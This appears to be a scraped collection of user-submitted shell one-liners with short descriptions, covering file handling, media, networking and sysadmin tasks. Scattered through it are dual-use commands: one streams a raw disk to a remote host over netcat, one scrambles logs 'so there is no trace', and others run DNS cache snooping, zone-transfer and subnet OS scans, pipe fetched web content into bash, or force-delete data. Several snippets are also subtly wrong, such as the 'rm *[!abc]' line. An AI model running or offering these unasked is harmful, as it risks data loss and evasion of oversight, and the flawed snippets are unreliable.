find `pwd` -iname *SEARCH_STRING* >> ~/PLAYLIST_NAME.m3u
# Get own IP address
ifconfig|grep 'inet addr:'|grep 'Bcast'|awk '{print $2}'|awk -F : '{print $2}'
# Remove CR from Windows- / DOS-textfiles
dos2unix file.txt
# Get Futurama quotations from slashdot.org servers
curl -Is slashdot.org | sed -ne '/^X-[FBL]/s/^X-//p'
# StopWatch, toilet version, amazing format inside terminal
export I=$(date +%s); watch -t -n 1 'T=$(date +%s);E=$(($T-$I));hours=$((E / 3600)) ; seconds=$((E % 3600)) ; minutes=$((seconds / 60)) ; seconds=$((seconds % 60)) ; echo $(printf "%02d:%02d:%02d" $hours $minutes $seconds) | toilet -f shadow'
# Parse an RPM name into its components - fast
parse_rpm() { RPM=$1;B=${RPM##*/};B=${B%.rpm};A=${B##*.};B=${B%.*};R=${B##*-};B=${B%-*};V=${B##*-};B=${B%-*};N=$B;echo "$N $V $R $A"; }
# IP list of aborted mail logins
grep -i "aborted login" /var/log/maillog | awk 'BEGIN{FS="="}{print substr($4,8)}' | cut -d"," -f1
# Convert all FLV's in a directory to Ogg Theora (video)
for i in $(ls *.flv); do ffmpeg2theora -v 6 --optimize $i; done
# see who is on this machine
w
# Copy with progress
copy(){ cp -v "$1" "$2"&watch -n 1 'du -h "$1" "$2";printf "%s%%\n" $(echo `du -h "$2"|cut -dG -f1`/0.`du -h "$1"|cut -dG -f1`|bc)';}
# Reconstruct a malformed authorizated_keys for ssh
cat authorized_keys_with_broken_lines | sed 's,^ssh,%ssh,' | tr '\n' '\0' | tr '%' '\n' | sed '1d' | sed "/^$/d" > authorized_keys
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | perl -ne "print if m/inet addr:((\d+\.){3})+/" | sed "s/inet addr//" | sed "s/Bcast//" |awk -F: '{print $2}'
# list all files modified in the last 24 hours descending from current directory
find . -type f -mtime -1 \! -type d -exec ls -l {} \;
# Fast CLI Timer
time read x
# Number of seconds to certain unix date
echo $( (( $( (2**31 -1) ) - $(date +%s) )) )
# Fibonacci numbers with sh
prev=0;next=1;echo $prev;while(true);do echo $next;sum=$(($prev+$next));prev=$next;next=$sum;sleep 1;done
# Find all dot files and directories
printf "%s\n" .*
# Set X keymap to dvorak and fix the Ctrl key.
setxkbmap dvorak '' ctrl:nocaps
# Get IPv4 of eth0 for use with scripts
ip addr show eth0 |grep 'inet\b' |awk '{print $2}' |sed -r -e 's/\/.*?//g'
# solaris: get seconds since epoch
truss date 2>&1 | awk '/^time/{print $3}'
# kill all process that belongs to you
ps -u $USER -lf | grep -vE "\-bash|sshd|ps|grep|PPID" > .tmpkill; if (( $(cat .tmpkill | wc -l) > 0 )); then echo "# KILL EM ALL"; cat .tmpkill; cat .tmpkill | awk '{print $4}' | xargs kill -9; else echo "# NOTHING TO KILL"; fi; cat .tmpkill; rm .tmpkill;
# git-rm for all deleted files, including those with space/quote/unprintable cha
racters in their filename/pathgit ls-files -z -d | xargs -0 git rm --
# 'readlink' equivalent using shell commands, and following all links
myreadlink() { [ ! -h "$1" ] && echo "$1" || (local link="$(expr "$(command ls -ld -- "$1")" : '.*-> \(.*\)$')"; cd $(dirname $1); myreadlink "$link"; }
# display lines in /etc/passwd between line starting ...
< /etc/passwd sed -n "/^bin:/,/^lp:/p"
# Add audio CD to xmms2 playlist
xmms2 addpls cdda://
# Archive every file in /var/logs
find /var/logs -name * | xargs tar -jcpf logs_`date +%Y-%m-%e`.tar.bz2
# Find all bash functions in a file
functions(){ read -p "File name> "; sort -d $REPLY | grep "(){" | sed -e 's/(){//g' | less; }
# Export mysql database to another database without having to save the output fi
rstmysqldump -u<username> -p<password> -h<source database host> databasename table1 table2 table_n | mysql -u<user> -p<password> -h<destination database host> databasename
# Search recursively to find a word or phrase in certain file types, such as C c
odeack "search pharse" *.[ch]
# Check version of DNS Server
nslookup -q=txt -class=CHAOS version.bind NS.PHX5.NEARLYFREESPEECH.NET
# Count files created by date/modification
find . -type f -exec stat \{\} \; | grep Modify: | awk '{a[$2]++}END{for(i in a){print i " : " a[i] }}' | sort
# deleter
today=`date +%d`; ls -ltr | rm -f `nawk -v _today=$today '{ if($5 != 0 && $7 < _today) { print $9 } }'`
# collapse first five fields of Google Adwords export .tsv file into a single fi
eld, for gnumericawk -F $'\t' '{printf $1 LS $2 LS $3 LS $4 LS $5; for (i = 7; i < NF; i++) printf $i "\t"; printf "\n";}' LS=`env printf '\u2028'` 'Ad report.tsv'
# Hunt for the newest file.
fn=$(find . -type f -printf "%T@\t%p\n"|sort -n|tail -1|cut -f2); echo $(date -r "$fn") "$fn"
# Print all members of US House of Representatives
curl "http://www.house.gov/house/MemberWWW.shtml" 2>/dev/null | sed -e :a -e 's/<[^>]*>//g;/</N;//ba' | perl -nle 's/^\t\t(.*$)/ $1/ and print;'
# simple nbtstat -a equivalent/alias for linux (uses nmblookup)
alias nbtstat='nmblookup -S -U <server> -R'
# To compact all SQLite databases in your home directory
find ~ -name '*.sqlite' -exec sqlite3 '{}' 'VACUUM;' \;
# Add crc32 checksum in the filenames of all mp4
for file in *.mp4; do mv "$file" "${file%.*} [$(cksfv -b -q "$file" | egrep -o "\b[A-F0-9]{8}\b$")].${file#*.}"; done
# Sum using awk
ps -ylC httpd --sort:rss | awk '{ SUM += $8 } END { print SUM/1024 }'
# Extract title from HTML files
awk 'BEGIN{IGNORECASE=1;FS="<title>|</title>";RS=EOF} {print $2}' | sed '/^$/d' > file.html
# Display any udp/tcp connections by process name or by process id
lsof -nP -c COMMAND | egrep -o '(TCP|UDP).*$' | sort -u
# flush stdin in bash
read -t 0.1 -N 255
# Expand shortened URLs
expandurl() { wget -S $1 2>&1 | grep ^Location; }
# Display only hosts up in network
nmap -sP your network/submask | awk "/^Host/"'{ print $2 }'
# Working random fact generator
lynx -dump randomfunfacts.com | grep -A 3 U | sed 1D
# Active Internet connections (only servers)
netstat -lnptu
# Delete residues configuration files
dpkg -l | grep ^rc | awk '{print $2}' | sudo xargs dpkg -P
# Cleanly list available wireless networks (using iwlist)
iwlist wlan0 scan | sed -ne 's#^[[:space:]]*\(Quality=\|Encryption key:\|ESSID:\)#\1#p' -e 's#^[[:space:]]*\(Mode:.*\)$#\1\n#p'
# analyze traffic remotely over ssh w/ wireshark
ssh root@HOST tcpdump -iany -U -s0 -w - 'not port 22' | wireshark -k -i -
# Zip all subdirectories into zipfiles
for f in `find . \( ! -name . -prune \) -type d -print`; do zip $f.zip $f; done
# List bash functions defined in .bash_profile or .bashrc
declare -F | sed 's/^declare -f //'
# View the newest xkcd comic.
xkcd() { wget -qO- http://xkcd.com/ | sed -n 's#^<img src="\(http://imgs.[^"]\+\)"\s\+title="\(.\+\?\)"\salt.\+$#eog "\1"\necho '"'\2'#p" | bash ; }
# trace http requests with tshark
tshark -i en1 -z proto,colinfo,http.request.uri,http.request.uri -R http.request.uri
# check the server mysql status
chkconfig -a | grep 'mysql'
# Find all PowerPC applications on OS X
system_profiler SPApplicationsDataType | perl -nl -e '@al=<>; $c=@al; while($j<$c){ $apps[$i].=$al[$j]; $i++ if ($al[$j] ) =~ /^\s\s\s\s\S.*:$/; $j++} while($k<$i){ $_=$apps[$k++]; if (/Kind: PowerPC/s) {print;}}'
# Find in all files in the current directory, just a find shorthand
grep -H -n "pattern" *
# ls not pattern
ls *[^.gz]
# Remove all the files except abc in the directory
rm *[!abc]
# Remove acentuation from file names in a directory.
for i in *; do mv -vi "$i" "`echo "$i"|sed y/????????????????????????/AAAAEEIOOUUCaaaaeeioouuc/`"; done; sync
# mencoder convert video to xvid
mencoder input_file -o output_file -oac mp3lame -lameopts cbr:br=32 -ofps 30 -vf harddup -ovc xvid -xvidencopts fixed_quant=3
# Enumerate rubygems environment
gem env
# Delete all lines after the first match
sed -n -e '1,/match/p'
# bbs in utf8 console
luit -encoding gbk telnet bbs.sysu.edu.cn
# Search OpenSolaris packages and show only the pkg names
pkg search SEARCH_TERM | awk '{print $NF}' | sed -e 's;.*/\(.*\)\@.*;\1;' | sort -u
# Length of longest line of code
wc -L files
# Add all unversioned files to svn
svn stat | grep "^\?" | awk '{ print "svn add " $2 }' | bash
# grep compressed log files without extracting
zcat log.tar.gz | grep -a -i "string"
# List encoding of ? in all avalible char sets
for i in `recode -l | cut -d" " -f 1`; do echo $i": ?" | recode utf-8..$i -s -p >> temp; done; vim temp
# extract all tgz in current dir
ls *tgz | xargs -n1 tar xzf
# Create a tar of modified/added files since revision 1792.
svn diff -r 1792:HEAD --summarize | awk '{if ($1 != "D") print $2}'| xargs -I {} tar rf incremental_release.tar {}
# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" > hello.mp3
# Display hardware information about PCI / PCIe Slots
# dmidecode --type 9
# Reads in the ~/.Xdefaults
alias xdef_load='xrdb -merge ~/.Xdefaults'
# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd
# Print out your hard drive to a jet-direct compatible printer.
cat /dev/hda|netcat -q 0 192.168.1.2 9100
# Find out Information about BIOS
# dmidecode --type 0
# Defcon 18 Quals Binary L33tness 300 Solution
echo "6d5967306474686924697344406b3379" | xxd -r -p
# Find the source file which contains most number of lines in your workspace
find -name "*.<suffix>" -exec wc -l "{}" \; | sort -n | tail
# start a vnc server session to connect to a gdm login screen
set $(ps -e o command= | grep "^/usr/bin/X "); while [ x"$1" != x"-auth" ]; do shift; done; sudo x11vnc -display :0 -auth "$2"
# Exclude grep from your grepped output of ps (alias included in description)
pgrep -fl [h]ttpd
# View a sopcast stream
(sp-sc sop://broker.sopcast.com:3912/80562 8908 10999 &>/dev/null &); sleep 10; wait $(vlc http://localhost:10999); killall sp-sc
# compare the contents of two directories
sdiff <(ls /) <(ls /usr)
# add all files not under version control to repository
svn st | grep '^?' | sed -e 's/\?[[:space:]]*//' | tr '\n' '\0' | xargs -0 svn add
# See your current RAM frequency
/usr/sbin/dmidecode | perl -lne 'print $1 if /Current\s+Speed:\s+(\d+\s+MHz)/'
# Scan computers OS and open services on all network
nmap -O 192.168.1.1/24
# Randomize lines (opposite of | sort)
perl -wl -e '@f=<>; for $i (0 .. $#f) { $r=int rand ($i+1); @f[$i, $r]=@f[$r,$i] if ($i!=$r); } chomp @f; print join $/, @f;' try.txt
# Convert all .wav to .mp3
audio-convert <dir>/*
# Unzip testresult file from all zip-files and merge them into one testresult fi
le.7z e *.zip -r testresult -so >> testresult.txt
# Show all local disk and UFS mounts on Solaris
df -kFufs
# Count how many times a certain referer appears in your apache log
Q="reddit|digg"; F=*.log; awk -F\" '{print $4}' $F | egrep $Q | wc -l
# Hexadecimal dump of a file, pipe, or anything
cat testfile | hexdump -C
# How to delete all the archive files with extension *.tar.gz and greater than 1
0MB?find / -type f -name *.tar.gz -size +10M -exec ls -l {} \;
# deleter
find . ! -size 0c -mtime +1 -type f -delete
# Remove new lines
xargs < [inputfile]
# sed /pat/!d without using sed (no RE; limited to shell patterns aka globbing)
se(){ while read a;do [ "$a" != "${a#*$@*}" ]&&echo $a;done ;} # usage: se pattern # use in place of sed /pat/!d where RE are overkill
# delete local *and* remote git repos if merged into local master
git branch | cut -c3- | grep -v "^master$" | while read line; do git branch -d $line; done | grep 'Deleted branch' | awk '{print $3;}' | while read line; do git push <target_remote> :$line; done
# one-line log format for svn
svn log | perl -pe 's/\n//g => s/^-.*/\n/g'
# Convert file from UTF8 (no BOM) to UTF16 (with BOM)
recode UTF8..UTF-16LE linux-utf8-file.txt
# Download all Phrack .tar.gzs
for ((i=1; i<67; i++)) do wget http://www.phrack.org/archives/tgz/phrack${i}.tar.gz -q; done
# Colorized grep in less
ack --pager='less -r'
# How to archive all the files that are not modified in the last x number of day
s?find /protocollo/paflow -type f -mtime +5 | xargs tar -cvf /var/dump-protocollo/`date '+%d%m%Y'_archive.tar`
# Timezone conversions (eg: what time was @tz_dest when it was $tm @tz_orig)
TZ="$tz_dest" date -d "$(TZ="$tz_orig" date -d "$tm")"
# Days left before password expires
let NOW=`date +%s`/86400 ; PASS_LAST_CHANGE=`grep $USER /etc/shadow | cut -d: -f3` ; PASS_LIFE=`grep $USER /etc/shadow | cut -d: -f5`; DAYS_LEFT=$(( PASS_LAST_CHANGE + PASS_LIFE - NOW)) ; echo $DAYS_LEFT
# Convert Unix newlines to DOS newlines
perl -ple 'BEGIN { $\ = "\r\n" }'
# To get the latest information on rpm packages
rpm -qa --last
# Find files with lines that do not match a pattern
fmiss() { grep -cR "$*" * | grep -E ':0$' | cut -d: -f1 ; }
# View Processeses like a fu, fu
pstree -p
# Prints per-line contribution per author for a GIT repository
git ls-files | while read i; do git blame $i | sed -e 's/^[^(]*(//' -e 's/^\([^[:digit:]]*\)[[:space:]]\+[[:digit:]].*/\1/'; done | sort | uniq -ic | sort -nr
# Delete duplicated dictionaries in spell check list
sudo find /usr/share/hunspell/ -lname '*' -delete
# List 10 largest directories in current directory
du . -mak|sort -n|tail -10
# Create a directory and cd into it
mydir(){mkdir -p $1 && cd $1}
# Get the time and date of the last server reboot
date -d "$(uptime | awk '{gsub(/,/,"",$3);gsub(/:/," hours ",$3); print "- " $3 " minutes"}')"
# To get the different name field nformation on rpm packages
rpm -qa --qf '%{name}'
# Migrate gems from one ruby installation to another
/originalInstall/gem list | tr -d '(),' | xargs -L 1 sudo ./gemInst.sh
# Display the output of a command from the first line until the first instance o
f a regular expression.<your command here> | perl -n -e 'print "$_" if 1 ... /<regex>/;'
# Recursively remove .svn directories
find . -name .svn -exec rm -r {} +;
# Search for a pattern across files in a code base (leaving out CVS directories)
for f in $(find /path/to/base -type f | grep -vw CVS); do grep -Hn PATTERN $f; done
# find sparse files
find -type f -printf "%S\t%p\n" 2>/dev/null | gawk '{if ($1 < 1.0) print $1 $2}'
# To get how many users logged in and logged out and how many times ?
last | awk '{ print $1 }' | sort | uniq -c | grep -v wtmp
# Matrix Style
while $t; do for i in `seq 1 30`;do r="$[($RANDOM % 2)]";h="$[($RANDOM % 4)]";if [ $h -eq 1 ]; then v="\e[1m $r";else v="\e[2m $r";fi;v2="$v2 $v";done;echo -e $v2;v2="";done;
# list tomcat webapps
ssh tomcat-server ls -l webapp-dir | grep -- '->' | awk ' { print $(NF-2) " " $(NF-1) " " $NF; }'
# Translates a phrase from English to Portuguese
curl -s -A "Mozilla" "http://translate.google.com.br/translate_a/t?client=t&text=Hi+world&hl=pt-BR&sl=en&tl=pt&multires=1&ssel=0&tsel=0&sc=1" | awk -F'"' '{print $2}'
# to get how many users logged in and logged out and how many times purely using
awklast | awk '$1!~/wtmp/{logs[$1]++}END{for (i in logs) print i, logs[i]}'
# Display the output of a command from the first line until the first instance o
f a regular expression.<command> | perl -pe '/<regex/ && exit;'
# Create a false directory structure for testing your commands
for i in /usr/bin/* ;do touch ${i##*/}; done
# Printing multiple years with Unix cal command
for y in 2009 2010 2011; do cal $y; done
# Upload an image to Twitpic
curl -F "username=mytwiterlogin" -F "password=mytwitterpassword" -F "message=My image description" -F media=@"./image.png" http://twitpic.com/api/uploadAndPost
# Edit the list of to ignore files in the active directory
svn pe svn:ignore .
# Delete empty directories
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
# Gets the english pronunciation of a phrase
curl -A "Mozilla" "http://translate.google.com/translate_tts?tl=en&q=hello+world" | play -t mp3 -
# Listen to TWiT with mpd/mpc
mpc clear && mpc add http://twit.am:80/listen && mpc play
# deleter
find -type f -size +0 -mtime +1 -print0|xargs -0r rm -f
# Disabling Spotlight on Mac OS
sudo mdutil -a -i off
# sort a list of comma separated numbers: sort_csn
sort_csn () { echo "${1}" | sed -e "s/,/\n/g"| sort -nu | awk '{printf("%s,",$0)} END {printf("\n")}' | sed -e "s/,$//"; }
# find and delete empty directories recursively
perl -MFile::Find -e"finddepth(sub{rmdir},'.')"
# SSH monitor
ssh root@server 'tail --max-unchanged-stats=10 -n0 -F /var/log/auth.log ' | grep Accepted | while read l ; do kdialog --title "SSH monitor" --passivepopup "$l" 3; done
# Have a list of directories in a file, ending with newlines and need to run du
on it?cat filename | tr '\n' '\0' | du -hsc ?files0-from=-
# Show full path followed by a command
perl -le 'chomp($w=`which $ARGV[0]`);$_=`file $w`;while(/link\b/){chomp($_=(split/`/,$_)[1]);chop$_;$w.=" -> $_";$_=`file $_`;}print "\n$w";' COMMAND_NAME
# expand a program-name into an absolute path on the bash command-line, using ct
rl-ebind '"\C-e":"\eb `which \ef`\e\C-e"'
# Change your exported xml love list from last.fm, into Song: songname Artist: a
rtistnamecat username_lovedtracks.xspf |perl -pe "s/.*<title>(.*)<\/title><creator>(.*)<\/creator>.*/Song: \1 Artist: \2/gi"> titles
# printing with psnup
psnup -4 -pa4 -Pa4 file.ps file2.ps
# Log a command's votes
while true; do curl -s http://www.commandlinefu.com/commands/view/3643/log-a-commands-votes | grep 'id="num-votes-' | sed 's;.*id="num-votes-[0-9]*">\([0-9\-]*\)</div>;\1;' >> votes; sleep 10; done
# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem :'+line[:-1][:line.index(' ')] + ' , ' +line[:-1][line.index(' '):].replace('(',':version => ').replace(')','') for line in l];print '\n'.join(x)"
# Burn an ISO on command line with hdiutil on mac
hdiutil burn foo.iso
# Find the files that include a TODO statement within a project
find . -iname '*TODO*'
# Show a script or config file without comments or blank lines
egrep -v "^$|^#" file
# Using psnup to get two pages per page
psnup -2 file.ps | lpr
# use curl to resume a failed download
cat file-that-failed-to-download.zip | curl -C - http://www.somewhere.com/file-I-want-to-download.zip >successfully-downloaded.zip
# replace old htaccess php AddHandler values with new one
find /var/www/ -type f -name ".htaccess" -exec perl -pi -e 's/AddHandler[\s]*php(4|5)-cgi/AddHandler x-httpd-php\1/' {} \;
# Make a statistic about the lines of code
find . -name \*.c | xargs wc -l | tail -1 | awk '{print $1}'
# Download a TiVo Show
curl -s -c /tmp/cookie -k -u tivo:$MAK --digest "$(curl -s -c /tmp/cookie -k -u tivo:$MAK --digest https://$tivo/nowplaying/index.html | sed 's;.*<a href="\([^"]*\)">Download MPEG-PS</a>.*;\1;' | sed 's|\&amp;|\&|')" | tivodecode -m $MAK -- - > tivo.mpg
# configify the list of gems on ur machine. the quick hack
gem list --local | python -c "import sys;import re;l=sys.stdin.readlines();x=['config.gem \"'+line[:-1][:line.index(' ')] + '\" , ' +line[:-1][line.index(' '):].replace('(',':version => \"').replace(')','')+'\"' for line in l];print '\n'.join(x)"
# Get IPv4 of eth0 for use with scripts
ifconfig eth0 | awk '/inet / {print $2}' | cut -d ':' -f2
# merge ogg file into a new one according to their download time
cat $(ls -c | grep ogg | tac ) > directory/test.ogg
# Get your local IP regardless of your network interface
ifconfig | sed -ne 's/^.*inet \(addr:\)*\([^ ]*\).*/\2/;te' -e 'd;:e' -e '/^127\./d;p'
# no log to trace you
paste <(cut -f1 log.txt) <(cut -f2- log.txt | shuf)
# search google on any OS
google "search terms" #see description for more details
# How To Get the Apache Document Root
awk -F\" '/^DocumentRoot/{print $2}' $(httpd -V | awk -F\" '/\.conf/{print $2}')
# oneline REPL for perl with warnings and readline support
perl -MTerm::ReadLine -wde'print "TheAnswer=42\n"'
# move files without actually touching them
cd /some/directory \&\& tar cf - | cd /some/directory \&\& tar xvf - */
# less an message on a postfix mailsystem with a specific message-id
id=<XXXX>; find /var/spool/postfix/ -name $id -exec less {} \;
# Encode a hq video +10mb/min to an 1mb/min suitable for youtube
ffmpeg -i in.mkv -acodec libfaac -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 out.mp4
# Backup to tape, rewind and check md5
tar -cvf - $DIR_TO_BACKUP | tee >(md5sum > backup_md5.txt) > /dev/st0 && mt -f /dev/nst0 bsfm 1 && md5sum -c backup_md5.txt < /dev/st0
# cd to (or operate on) a file across parallel directories
cd () { cdop=""; while [ "$1" != "${1#-}" ]; do cdop="${cdop} ${1}"; shift; done; if [ $# -eq 2 ]; then newdir="${PWD/$1/$2}"; [ -d "${newdir}" ] || { echo "no ${newdir}"; return 1; }; builtin cd $cdop "${newdir}"; else builtin cd $cdop "$@"; fi }
# get Mother's Day
sqlite> select date('now', 'start of year', '+4 months', 'weekday 0', '+7 days');
# delete all DrWeb status, failure and other messages on a postfix server
mailq | grep DrWEB | awk {'print $1'} | sed s/*//g | postsuper -d -
# Create a zip file ignoring .svn files
find . -not \( -name .svn -prune \) -type f | xargs zip XXXXX.zip
# List only locally modified files with CVS
cvs up 2>&1 | grep --color 'U \|P \|A \|R \|M \|C \|? '
# Encode mkv file to ogg+h264+mkv
ffmpeg -i initial.mkv -acodec libvorbis -ab 128k -ac 2 -vcodec libx264 -vpre max -crf 22 -threads 0 final.mkv
# List the size (in human readable form) of all sub folders from the current loc
ationdu -h --max-depth=1 | sort -hr
# resume other user's screen session via su, without pty error
# su - <user> ; script /dev/null ; screen -r
# file sizes of current directory
ls -la | awk '{print $5, " " ,$9}' | sort -rn
# purge old stale messages on a qmail queue
for i in `grep "unable to stat" /var/log/syslog | cut -d "/" -f 3 | sort | uniq`; do find /var/qmail/queue -name $i -type f -exec rm -v {} \; ; done
# Play 2600 off the hook over ssh
curl -L -s `curl -s http://www.2600.com/oth-broadband.xml` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
# Set volume to a mp3 file
ffmpeg -i foo.mp3 -vol 20 -acodec libmp3lame bar.mp3
# Terrorist threat level text
echo "Terrorist threat level: $(curl -s 'http://www.dhs.gov/dhspublic/getAdvisoryCondition' | awk -F\" 'NR==2{ print $2 }')"
# Adds "-c" canonical option to bash "type" builtin command to follow symbolic l
inkstype () { if [ "$1" = "-c" ]; then shift; for f in "$@"; do ff=$(builtin type -p "$f"); readlink -f "$ff"; done; else builtin type $typeopts "$@"; fi; }
# Start urxvt and do whatever is needed to open the screen session named "main"
screen -ls | grep main && urxvt -name screen -e screen -x main || urxvt -name screen -e screen -R -S main
# sync a directory of corrupted jpeg with a source directory
for i in *jpg; do jpeginfo -c $i | grep -E "WARNING|ERROR" | cut -d " " -f 1 | xargs -I '{}' find /mnt/sourcerep -name {} -type f -print0 | xargs -0 -I '{}' cp -f {} ./ ; done
# Play a podcast via XPath and mpg123
curl -L -s `curl -s [http://podcast.com/show.rss]` | xmlstarlet sel -t -m "//enclosure[1]" -v "@url" -n | head -n 1` | ssh -t [user]@[host] "mpg123 -"
# Multi line grep using sed and specifying open/close tags
sed '/'"<opening tag>"'/,/'"<closing tag>"'/{/'"<closing tag>"'/d;p};d' "<file>"
# use wget to check if a remote file exists
wget -O/dev/null -q URLtoCheck && echo exists || echo not exist
# Generate an XKCD #936 style 4 word password
jot 4 | awk '{ print "wc -l /usr/share/dict/words | awk '"'"'{ print \"echo $[ $RANDOM * $RANDOM % \" $1 \"]\" }'"'"' | bash | awk '"'"'{ print \"sed -n \" $1 \"p /usr/share/dict/words\" }'"'"' | bash" }' | bash | tr -d '\n' | sed 's/$/\n/'
# Simple server which listens on a port and prints out received data
nc -l -p portnumber
# Find files modified in the last N days; list sorted by time
find . -type f -mtime -14 -exec ls -ltd \{\} \; | less
# Get IPv4 of eth0 for use with scripts
ip addr show eth0 | awk '/inet / {FS = "/"; $0 = $2; print $1}'
# Join avi files
cat b1.avi b2.avi b3.avi b4.avi b5.avi b6.avi b7.avi > output.avi; mencoder -forceidx -oac copy -ovc copy output.avi -o output_final.avi; rm output.avi
# copying data with cpio
find ./source -depth -print | cpio -cvo> /destination/source_data.cpio; cd /destination; cpio -icvmdI ./source_data.cpio; rm -rf ./source_data.cpio
# Calculating series with awk: add numbers from 1 to 100
awk 'BEGIN {for(i=1;i<=100;i++)sum+=i}; END {print sum}' /dev/null
# Rename all images in current directory to filename based on year, month, day a
nd time based on exif informationexiftool -d %Y-%m-%d_%H.%M.%S%%-c.%%e "-filename<CreateDate" .
# Finds the track no of songs, to be played
mpc playlist | grep -in bar
# Stripping ^M at end of each line for files
perl -pi -e 's:^V^M::g' <filenames>
# Change permissions of every directory in current directory
find . -type d -exec chmod 755 {} \;
# Lists unambigously names of all xml elements used in files in current director
ygrep -Eho '<[a-ZA-Z_][a-zA-Z0-9_-:]*' * | sort -u | cut -c2-
# netstat with group by (ip adress)
netstat -nt | awk -F":" '{print $2}' | sort | uniq -c
# Run command in an ftp session
ftp>!w
# Remind yourself every 15 minutes (repeated reminders)
watch -n 900 "notify-send -t 10000 'Look away. Rest your eyes'"
# find all file larger than 500M
find / -type f -size +548576 -printf "%s:%h%f\n"
# Print all lines from a file that has the same N th and M th column
awk '$3==$4' /etc/passwd
# See which files differ in a diff
diff dir1 dir2 | diffstat
# Remove the boot loader from a usb stick
dd if=/dev/zero of=/dev/sdb bs=446 count=1
# Makes a project directory, unless it exists; changes into the dir, and creates
an empty git repository, all in one commandgitstart () { if ! [[ -d "$@" ]]; then mkdir -p "$@" && cd "$@" && git init; else cd "$@" && git init; fi }
# Zenity percent progressbar for scripts accepting parameters
(for FILE in $@; do echo $[100*++x/$#]; command-for-each-parameter; done)|zenity --progress --auto-close
# monitor the last command run
watch !!
# Shows the largest files in your archives
tar -tvjf backup.tar.bz2 | sort -nrk 3 | head
# Safely store your gpg key passphrase.
pwsafe -qa "gpg keys"."$(finger `whoami` | grep Name | awk '{ print $4" "$5 }')"
# Test if the given argument is a valid ip address.
perl -e '$p=qr!(?:0|1\d{0,2}|2(?:[0-4]\d?|5[0-5]?|[6-9])?|[3-9]\d?)!;print((shift=~m/^$p\.$p\.$p\.$p$/)?1:0);' 123.123.123.123
# Receiving alerts about commands who exit with failure
export PROMPT_COMMAND='( x=$? ; let x!=0 && echo shell returned $x )'
# floating point bash calculator w/o precision
b(){ echo "scale=${2:-2}; $1" | bc -l; }
# Show thermal info
cat /proc/acpi/thermal_zone/*/temperature
# hexadecimal dump of a file as it is on disk with hexadecimal offsets
od --format=x1 --address-radix=x mybinaryfile
# DNS cache snooping
for i in `cat names.txt`; do host -r $i [nameserver]; done
# show your private/local ip address
ifconfig | grep cast | cut -d':' -f2 | cut -d' ' -f1
# Generate random valid mac addresses
macchanger -A (nic)
# use ethereal to generate a pcap file of a VOIP call
tethereal -i eth0 -R 'iax2 && ip.addr==10.162.78.162' -w /tmp/iax2.pcap
# Removing sensitive data from the entire repo history.
git filter-branch --index-filter 'git rm --cached --ignore-unmatch FileToRemove' HEAD
# Install mysql-2.8.1 rubygem on Mac OS X 10.6 (Snow Leopard)
sudo env ARCHFLAGS="-arch x86_64" gem install mysql
# find out about a process
cat /proc/<PID>/environ
# Remove all directories less than 1 MB in size in or below current directory
find . -type d -execdir du -sh '{}' ';' | grep -E "[0-9]+K" | sed 's/^[0-9\.]\+K[\t ]\+//' | tr "\n" "\0" | xargs -0 rm -rf
# stdin speaker via espeak
awk '{print}' | espeak -v pt -stdin
# show how much diskspace all images in a given directory need
find /home/bubo/ -type f \( -iname \*.jpg -print0 , -iname \*.png -print0 , -iname \*gif -print0 \) | du -cm --files0-from - | tail -1
# Create a virtual disk (CD/DVD) in VirtualBox
VBoxManage openmedium dvd "/path/name.iso"
# get tor bridges
lynx -dump 'https://bridges.torproject.org' | sed '/^bridge [0-9\.][0-9\.]*:[0-9][0-9]*/!d'
# Check if your domain name is suspectable to axfr attacks.
dig @somenameserver.net somedomainname.net axfr
# Find the package a command belongs to on debian-based distros
function whichpkg { dpkg -S $1 | egrep -w $(which $1)$; }
# find specified directory and delete it recursively including directories with
spacesfind . -name "directory_name" -type d -print0 | xargs -0 -i rm -rf {}
# Execute a command with the last parameter of a previous command
ls !$
# kill some process (same as others) but parsing to a variable
pkill -9 -f program
# Reverse DNS lookups
sed 's/\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\)\.\([0-9]*\).in-addr.arpa domain name pointer\(.*\)\./\4.\3.\2.\1\5/' \ lookups.txt
# find files in $PATH that were not installed through dpkg
echo -e "${PATH//://\n}" >/tmp/allpath; grep -Fh -f /tmp/allpath /var/lib/dpkg/info/*.list|grep -vxh -f /tmp/allpath >/tmp/installedinpath ; find ${PATH//:/ } |grep -Fxv -f /tmp/installedinpath
# floating point shell calculator
calc() { awk 'BEGIN { OFMT="%f"; print '"$*"'; exit}'; }
# irssi log histogram
awk '/^--- Day changed (.*)/ {st=""; for (i=0;i<ar[date];i++) {st=st"*"} print date" "st; date=$7"-"$5"-"$6} /> emergency/ {ar[date]++} END {st=""; for (i=0;i<ar[date];i++) {st=st"*"}; print date" "st}' #engineyard.log
# Download all PDFs from an authenificated website
wget -r -np -nd -A.pdf --user *** --password *** http://www.domain.tld/courses/***/download/
# 'micro' ps aux (by mem/cpu)
ps aux | awk '{print($1" "$3" "$4" "$11);}' | grep -v "0.0"
# A command's package details
function summpkg { dpkg -s $(dpkg -S $1 | egrep -w $(which $1)$ | awk -F: '{print $1}') ; }
# grep selectively
find /path -name \*.php -user nobody -exec grep -nH whatever {} \;
# List installed rpm named and arquitecture.
rpm -qa --queryformat "%{NAME} %{ARCH}\n"
# Play music from pure data
sudo cat /usr/share/icons/*/*/* > /dev/dsp
# List files and sizes
find / -type f -exec wc -c {} \; | sort -nr | head -100
# show current directory
xdg-open .
# Open your application to a specific size and location
command -geometry 120x30+1280+0
# upload a file via ftp
curl -u user:passwd -T /home/dir/local_file_to_upload ftp://your_host.com/subdir/
# Using numsum to sum a column of numbers.
echo $(( $( cat count.txt | tr "\n" "+" | xargs -I{} echo {} 0 ) ))
# Create a log file of Nvidia graphics card temperatures using nvidia-smi
logfile=/var/log/gputemp.log; timestamp=$( date +%T );temps=$(nvidia-smi -lsa | grep Temperature | awk -F: ' { print $2 } '| cut -c2-4 | tr "\n" " ");echo "${timestamp} ${temps}" >> ${logfile}
# encode a text to url_encoded format
